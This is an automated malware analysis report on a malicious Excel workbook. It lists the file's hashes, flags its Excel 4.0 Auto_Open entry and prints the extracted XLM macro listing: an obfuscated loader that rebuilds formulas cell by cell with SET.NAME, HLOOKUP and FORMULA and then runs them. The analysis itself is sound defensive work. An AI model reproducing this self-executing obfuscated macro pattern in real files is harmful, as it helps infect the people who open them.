Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b3e0485da5e5d19…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:59 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: ff6b962f9988ee1c3ffc914e84dd79d6 SHA-1: ac8a4a4894933385568207ce333a3638bf3192f8 SHA-256: 6b3e0485da5e5d19f069b7316985d288c69d6f348602c327c96275a0ffdf76be
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6526 bytes
SHA-256: ce482b43d2282416b82d1631f4f2162c8fffced8452dbe9a26bc2d1b7a1db436
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QQvsNyp
' 0018     27 LABEL : Cell Value, String Constant - aoMwxRgdXWvN len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I184 
' 0018     23 LABEL : Cell Value, String Constant - bwavykjC len=0 
' 0018     22 LABEL : Cell Value, String Constant - DrziVeN len=0 
' 0018     27 LABEL : Cell Value, String Constant - EYkAmzFBDQMq len=0 
' 0018     24 LABEL : Cell Value, String Constant - IrZCTHLoP len=0 
' 0018     25 LABEL : Cell Value, String Constant - lCjOySSAwQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - lXoZinKwt len=0 
' 0018     20 LABEL : Cell Value, String Constant - mdBIU len=0 
' 0018     21 LABEL : Cell Value, String Constant - NRCgzx len=0 
' 0018     22 LABEL : Cell Value, String Constant - ocLIAmt len=0 
' 0018     24 LABEL : Cell Value, String Constant - ofSvXMZhD len=0 
' 0018     26 LABEL : Cell Value, String Constant - ortnEaJMaOg len=0 
' 0018     21 LABEL : Cell Value, String Constant - peDEzc len=0 
' 0018     21 LABEL : Cell Value, String Constant - PyvXTL len=0 
' 0018     23 LABEL : Cell Value, String Constant - qbkAtEjv len=0 
' 0018     23 LABEL : Cell Value, String Constant - QJznKKIK len=0 
' 0018     21 LABEL : Cell Value, String Constant - UtOOrx len=0 
' 0018     22 LABEL : Cell Value, String Constant - UzztNMN len=0 
' 0018     20 LABEL : Cell Value, String Constant - xhvuc len=0 
' 0018     20 LABEL : Cell Value, String Constant - zfwpg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QQvsNyp,I88,"SET.NAME("IrZCTHLoP",VALUE("0"))",""
'  QQvsNyp,I93,"SET.NAME("ocLIAmt",IrZCTHLoP)",""
'  QQvsNyp,I98,"SET.NAME("UtOOrx",IrZCTHLoP)",""
'  QQvsNyp,I102,"SET.NAME("DrziVeN",COUNTA(mdBIU))",""
'  QQvsNyp,I104,"SET.NAME("lCjOySSAwQ",COUNTA(qbkAtEjv))",""
'  QQvsNyp,I108,[],""
'  QQvsNyp,I112,"SET.NAME("QJznKKIK","")",""
'  QQvsNyp,I116,"ocLIAmt",""
'  QQvsNyp,I121,"SET.NAME("ortnEaJMaOg",HLOOKUP("*",mdBIU,ocLIAmt,FALSE))",""
'  QQvsNyp,I125,"ofSvXMZhD",""
'  QQvsNyp,I127,"SET.NAME("PyvXTL",IrZCTHLoP)",""
'  QQvsNyp,I132,[],""
'  QQvsNyp,I134,"PyvXTL",""
'  QQvsNyp,I137,"peDEzc",""
'  QQvsNyp,I142,"bwavykjC",""
'  QQvsNyp,I144,"lXoZinKwt",""
'  QQvsNyp,I146,"SET.NAME("NRCgzx",VALUE(HLOOKUP("*",qbkAtEjv,lXoZinKwt,FALSE)))",""
'  QQvsNyp,I151,"EYkAmzFBDQMq",""
'  QQvsNyp,I153,"QJznKKIK",""
'  QQvsNyp,I158,"UtOOrx",""
'  QQvsNyp,I161,NEXT(),""
'  QQvsNyp,I165,"zfwpg",""
'  QQvsNyp,I168,"SET.NAME("f",INT(T(FORMULA(T(QJznKKIK)&"",""&T(zfwpg)))))",""
'  QQvsNyp,I173,"xhvuc",""
'  QQvsNyp,I178,NEXT(),""
'  QQvsNyp,I182,RETURN(),""
'  QQvsNyp,I204,"SET.NAME("aoMwxRgdXWvN",I88)",""
'  QQvsNyp,I207,"mdBIU",""
'  QQvsNyp,I209,"SET.NAME("qbkAtEjv",R76C14)",""
'  QQvsNyp,I213,"SET.NAME("xhvuc",221)",""
'  QQvsNyp,I216,"SET.NAME("UzztNMN",9)",""
'  QQvsNyp,I220,aoMwxRgdXWvN(),""
'  QQvsNyp,I221,HALT(),""